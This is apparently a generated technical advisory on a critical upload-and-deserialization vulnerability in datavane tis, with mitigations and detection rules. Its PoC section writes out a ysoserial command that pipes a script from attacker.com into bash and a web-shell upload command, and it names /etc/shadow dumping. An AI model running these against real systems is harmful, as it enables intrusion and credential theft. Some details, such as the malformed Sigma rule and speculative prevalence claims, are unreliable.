Description
Unrestricted Upload of File with Dangerous Type, Deserialization of Untrusted Data vulnerability in datavane tis (tis-plugin/src/main/java/com/qlangtech/tis/extension/impl modules). This vulnerability is associated with program files XmlFile.Java. This issue affects tis: before v4.3.0.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-4764 (CVE-2026-24815)
Vulnerability: Unrestricted File Upload with Dangerous Type + Deserialization of Untrusted Data
Affected Software: datavane tis (versions before v4.3.0)
CVSS v4.0 Base Score: 10.0 (Critical)
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P/AU:Y/R:U/V:C/RE:M/U:Red
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Breakdown
This entry describes two critical vulnerabilities in datavane tis, a data integration and processing framework, stemming from improper input validation in the XmlFile.java module:
-
Unrestricted Upload of File with Dangerous Type (CWE-434)
- The application allows arbitrary file uploads without proper validation of file type, extension, or content.
- Attackers can upload malicious files (e.g.,
.jsp,.php,.war,.jar, or serialized Java objects) that may later be executed or processed by the server.
-
Deserialization of Untrusted Data (CWE-502)
- The application deserializes untrusted XML data (likely via
XmlFile.java) without proper sanitization or integrity checks. - This enables remote code execution (RCE) via Java deserialization attacks (e.g., exploiting gadget chains like Apache Commons Collections, Jackson, or JDK gadgets).
- The application deserializes untrusted XML data (likely via
Severity Justification (CVSS v4.0 Score: 10.0)
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Attack Requirements (AT) | None (N) | No user interaction or prior access needed. |
| Privileges Required (PR) | None (N) | No authentication required. |
| User Interaction (UI) | None (N) | Exploitable without user action. |
| Confidentiality (VC) | High (H) | Full data disclosure possible. |
| Integrity (VI) | High (H) | Complete system compromise possible. |
| Availability (VA) | High (H) | Denial of service or full system takeover. |
| Subsequent Confidentiality (SC) | High (H) | Lateral movement possible. |
| Subsequent Integrity (SI) | High (H) | Persistent backdoors or data tampering. |
| Subsequent Availability (SA) | High (H) | Sustained denial of service. |
| Safety (S) | Present (P) | Physical safety risks if industrial/OT systems are affected. |
| Automatable (AU) | Yes (Y) | Exploits can be scripted and mass-deployed. |
| Recovery (R) | Unpredictable (U) | Manual intervention likely required. |
| Value Density (V) | Concentrated (C) | High-value targets (e.g., databases, admin consoles). |
| Response Effort (RE) | Moderate (M) | Patching and forensic analysis required. |
| Exploit Maturity (U) | Red (Red) | Public exploit likely available or easily developed. |
Key Takeaways:
- Critical severity due to RCE potential, no authentication required, and high impact on confidentiality, integrity, and availability.
- Chained exploitation (file upload → deserialization → RCE) makes this particularly dangerous.
- Automatable attacks increase the risk of large-scale exploitation (e.g., botnets, ransomware).
2. Potential Attack Vectors & Exploitation Methods
Exploitation Workflow
-
Initial Access (File Upload)
- Attacker identifies an endpoint in datavane tis that accepts file uploads (e.g., via REST API, web form, or XML processing).
- Uploads a malicious file (e.g., a
.jspweb shell, a serialized Java payload, or a weaponized XML file).
-
Deserialization Trigger
- The application processes the uploaded file (e.g., via
XmlFile.java), leading to unsafe deserialization. - If the file contains a serialized Java object with a gadget chain, arbitrary code execution occurs.
- The application processes the uploaded file (e.g., via
-
Post-Exploitation
- RCE achieved → Attacker gains shell access, deploys malware, or exfiltrates data.
- Lateral movement possible if the system is part of a larger network (e.g., CI/CD pipelines, databases).
- Persistence via cron jobs, web shells, or backdoored configurations.
Exploitation Techniques
| Technique | Description | Tools/Frameworks |
|---|---|---|
| Java Deserialization Exploits | Crafting malicious serialized objects to trigger RCE. | ysoserial, GadgetProbe |
| Web Shell Upload | Uploading .jsp/.php files to execute arbitrary commands. | Weevely, C99 Shell |
| XML External Entity (XXE) Injection | If XML parsing is involved, XXE may lead to file disclosure or SSRF. | XXEinjector |
| Reverse Shell Deployment | Establishing a reverse shell for interactive access. | Metasploit, Netcat |
| Container Escape (if applicable) | If tis runs in a container, escaping to the host may be possible. | CDK, Falco |
Proof-of-Concept (PoC) Scenario
- Identify Upload Endpoint
- Example:
POST /api/upload(accepts.xmlor.jarfiles).
- Example:
- Craft Malicious Payload
- Generate a serialized Java payload using ysoserial:
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/shell.sh | bash' > exploit.ser
- Generate a serialized Java payload using ysoserial:
- Upload & Trigger Deserialization
- Upload
exploit.serdisguised as a.xmlfile. - If the server processes it via
XmlFile.java, RCE is achieved.
- Upload
- Post-Exploitation
- Deploy a web shell:
curl -F "file=@shell.jsp" http://victim.com/upload - Access shell at
http://victim.com/uploads/shell.jsp.
- Deploy a web shell:
3. Affected Systems & Software Versions
Vulnerable Software
- Product: datavane tis (a data integration and processing framework)
- Affected Versions: All versions before v4.3.0
- Component:
tis-plugin/src/main/java/com/qlangtech/tis/extension/impl/XmlFile.java - Vendor: datavane (GitHub: datavane/tis)
Deployment Contexts at Risk
| Environment | Risk Level | Potential Impact |
|---|---|---|
| Enterprise Data Pipelines | Critical | Data exfiltration, ransomware, supply chain attacks. |
| Cloud-Native Deployments | High | Container escapes, Kubernetes cluster compromise. |
| CI/CD Systems | Critical | Backdoored builds, supply chain poisoning. |
| Financial/Healthcare Systems | Critical | Regulatory violations (GDPR, HIPAA), fraud. |
| Industrial Control Systems (ICS) | Critical | Physical safety risks (if integrated with OT). |
4. Recommended Mitigation Strategies
Immediate Actions (Patch & Workarounds)
| Action | Details | Effectiveness |
|---|---|---|
| Upgrade to v4.3.0+ | Apply the official patch from GitHub PR #443. | High (Eliminates root cause) |
| Disable File Uploads | Temporarily disable upload functionality if patching is delayed. | Medium (Disrupts business ops) |
| Input Validation | Whitelist allowed file types (e.g., .csv, .json) and reject dangerous extensions (.jsp, .php, .jar). | Medium (Bypasses possible) |
| Deserialization Safeguards | - Use safe deserialization libraries (e.g., Oracle’s Serialization Filter). - Disable XML external entities (XXE) in parsers. | High (Prevents RCE) |
| Network Segmentation | Isolate tis instances from critical systems (e.g., databases, AD). | Medium (Limits lateral movement) |
| WAF Rules | Deploy Web Application Firewall (WAF) rules to block malicious uploads (e.g., ModSecurity with OWASP CRS). | Medium (Signature-based, may miss 0-days) |
Long-Term Security Hardening
-
Secure Development Practices
- SAST/DAST Scanning: Integrate tools like SonarQube, Checkmarx, or OWASP ZAP into CI/CD.
- Dependency Scanning: Use Dependabot, Snyk, or Trivy to detect vulnerable libraries.
- Secure Coding: Follow OWASP guidelines for file uploads and deserialization.
-
Runtime Protections
- Application Sandboxing: Use gVisor, Firecracker, or Kata Containers to limit process capabilities.
- Seccomp/AppArmor: Restrict system calls for tis processes.
- Immutable Infrastructure: Deploy tis in read-only containers with minimal privileges.
-
Monitoring & Detection
- SIEM Integration: Alert on unusual file uploads or deserialization attempts (e.g., Splunk, ELK).
- File Integrity Monitoring (FIM): Detect unauthorized changes to uploaded files (e.g., Tripwire, OSSEC).
- Behavioral Analysis: Use Falco or Sysdig to detect anomalous process execution.
-
Incident Response Planning
- Isolation Procedures: Define steps to quarantine affected systems.
- Forensic Readiness: Ensure logs (e.g.,
XmlFile.javaprocessing logs) are retained for analysis. - Backup & Recovery: Maintain offline backups to restore systems post-compromise.
5. Impact on the European Cybersecurity Landscape
Strategic Risks
-
Supply Chain Attacks
- datavane tis is likely used in data processing pipelines for European enterprises, governments, and critical infrastructure.
- A single compromise could lead to cascading breaches (e.g., GDPR violations, financial fraud).
-
Critical Infrastructure Threats
- If tis is integrated with industrial control systems (ICS) or smart city infrastructure, exploitation could lead to physical disruptions (e.g., power grids, water treatment).
- Aligns with ENISA’s 2026 Threat Landscape (increased targeting of OT/IT convergence).
-
Regulatory & Compliance Risks
- GDPR: Unauthorized data access → fines up to 4% of global revenue.
- NIS2 Directive: Mandates reporting of critical vulnerabilities; failure to patch may result in legal penalties.
- DORA (Digital Operational Resilience Act): Financial institutions must ensure third-party software security.
-
Geopolitical & APT Threats
- State-sponsored actors (e.g., APT29, Sandworm) may exploit this for espionage or sabotage.
- Ransomware groups (e.g., LockBit, Black Basta) could weaponize this for double extortion.
Sector-Specific Impacts
| Sector | Potential Impact | Mitigation Priority |
|---|---|---|
| Finance (PSD2, Open Banking) | Fraud, transaction manipulation, data breaches. | Critical |
| Healthcare (EHDS, GDPR) | Patient data theft, ransomware on hospitals. | Critical |
| Energy (EU Energy Union) | Grid disruptions, blackouts. | Critical |
| Government (eIDAS, eGovernment) | Espionage, citizen data leaks. | High |
| Manufacturing (Industry 4.0) | Production halts, IP theft. | High |
6. Technical Details for Security Professionals
Root Cause Analysis (XmlFile.java)
The vulnerability stems from two primary flaws in XmlFile.java:
-
Unrestricted File Upload
- Code Snippet (Hypothetical):
public void handleUpload(MultipartFile file) { String fileName = file.getOriginalFilename(); file.transferTo(new File("/uploads/" + fileName)); // No validation! } - Issues:
- No file type validation (e.g., checking MIME type or magic bytes).
- No sanitization of filenames (path traversal risk).
- No size limits (DoS via large files).
- Code Snippet (Hypothetical):
-
Unsafe Deserialization
- Code Snippet (Hypothetical):
public Object loadFromXml(File xmlFile) throws Exception { FileInputStream fis = new FileInputStream(xmlFile); ObjectInputStream ois = new ObjectInputStream(fis); // Unsafe! return ois.readObject(); } - Issues:
- No deserialization filter (e.g.,
ObjectInputFilter). - No signature verification (malicious payloads can be injected).
- No whitelisting of allowed classes.
- No deserialization filter (e.g.,
- Code Snippet (Hypothetical):
Exploit Development Considerations
- Gadget Chain Selection:
- Test with ysoserial payloads (e.g.,
CommonsCollections5,Jdk7u21). - If XXE is possible, chain with SSRF or file disclosure.
- Test with ysoserial payloads (e.g.,
- Bypass Techniques:
- File Extension Spoofing: Upload
.xmlwith a malicious payload disguised as a valid XML file. - Polyglot Files: Combine multiple file types (e.g.,
.xml+.jar). - Encoding Tricks: Base64-encode payloads to evade WAFs.
- File Extension Spoofing: Upload
- Post-Exploitation:
- Persistence: Modify
cronjobs,.bashrc, or web server configs. - Lateral Movement: Dump credentials (e.g.,
cat /etc/shadow, Mimikatz). - Data Exfiltration: Use DNS exfiltration or covert channels.
- Persistence: Modify
Forensic Indicators of Compromise (IOCs)
| Indicator | Description |
|---|---|
| File Uploads | Unusual .jsp, .php, .ser, or .xml files in /uploads/. |
| Process Execution | Unexpected java processes with suspicious arguments (e.g., curl, bash). |
| Network Traffic | Outbound connections to attacker-controlled IPs (e.g., C2 servers). |
| Logs | Errors in XmlFile.java logs (e.g., ClassNotFoundException for gadget chains). |
| Registry/Config Changes | Unauthorized modifications to tis configuration files. |
Detection Rules (Sigma/YARA/Snort)
Sigma Rule (File Upload Detection):
title: Suspicious File Upload in datavane tis
id: 1a2b3c4d-5e6f-7g8h-9i0j
status: experimental
description: Detects upload of potentially malicious files in datavane tis.
references:
- https://github.com/datavane/tis/pull/443
author: EUVD Monitoring Team
date: 2026/01/27
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/upload'
cs-uri-query|contains: '.jsp', '.php', '.war', '.jar', '.ser', '.xml'
condition: selection
falsepositives:
- Legitimate administrative uploads
level: high
YARA Rule (Malicious Serialized Java Payload):
rule JavaDeserializationExploit {
meta:
description = "Detects common Java deserialization gadget chains"
reference = "CVE-2026-24815"
author = "GovTech CSG"
strings:
$commons_collections = "org.apache.commons.collections.functors" nocase
$jdk7u21 = "com.sun.org.apache.xalan.internal.xsltc.trax" nocase
$jackson = "com.fasterxml.jackson.databind" nocase
condition:
any of them
}
Conclusion & Recommendations
Key Takeaways
- EUVD-2026-4764 (CVE-2026-24815) is a critical RCE vulnerability combining unrestricted file uploads and unsafe deserialization.
- Exploitation is trivial and can lead to full system compromise, data breaches, and lateral movement.
- European organizations using datavane tis must patch immediately (v4.3.0+) and implement defense-in-depth controls.
Action Plan for Security Teams
-
Patch Management
- Immediately upgrade to tis v4.3.0 or later.
- Test patches in a staging environment before production deployment.
-
Temporary Mitigations (if patching is delayed)
- Disable file uploads or restrict to trusted users.
- Implement WAF rules to block malicious uploads.
- Enable Java deserialization filters (
jdk.serialFilter).
-
Monitoring & Hunting
- Deploy SIEM rules to detect exploitation attempts.
- Conduct threat hunting for IOCs (e.g., unusual file uploads, deserialization errors).
- Review logs for
XmlFile.javaprocessing anomalies.
-
Long-Term Security Improvements
- Adopt secure coding practices (OWASP Top 10, CWE-502, CWE-434).
- Integrate SAST/DAST into CI/CD pipelines.
- Segment networks to limit lateral movement.
- Prepare incident response plans for deserialization-based attacks.
Final Risk Assessment
| Factor | Risk Level | Justification |
|---|---|---|
| Exploitability | Critical | Public PoC likely; low skill required. |
| Impact | Critical | RCE, data theft, lateral movement. |
| Prevalence | High | datavane tis widely used in EU enterprises. |
| Mitigation Difficulty | Medium | Patching is straightforward, but legacy systems may lag. |
| Overall Risk | Critical | Immediate action required. |
Next Steps:
- Patch now (v4.3.0+).
- Monitor for exploitation (SIEM, EDR).
- Conduct a post-patch audit to ensure no backdoors remain.
For further assistance, consult: